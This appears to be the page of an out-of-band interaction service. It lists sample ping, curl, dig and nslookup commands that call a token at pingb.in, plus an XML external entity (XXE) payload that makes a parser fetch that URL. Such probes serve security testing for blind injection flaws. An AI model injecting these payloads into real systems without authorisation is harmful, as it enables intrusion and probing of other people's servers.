$ ping -c1 -p 00adf32abf8d56312e44570c9362a200 pingb.in
 
$ curl pingb.in/p/adf32abf8d56312e44570c9362a2
 
$ dig adf32abf8d56312e44570c9362a2 @pingb.in
 
$ dig adf32abf8d56312e44570c9362a2.ns.pingb.in
 
C:\> nslookup adf32abf8d56312e44570c9362a2 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/adf32abf8d56312e44570c9362a2">]>
    <foo>&xxe;</foo>
 
Waiting for ping...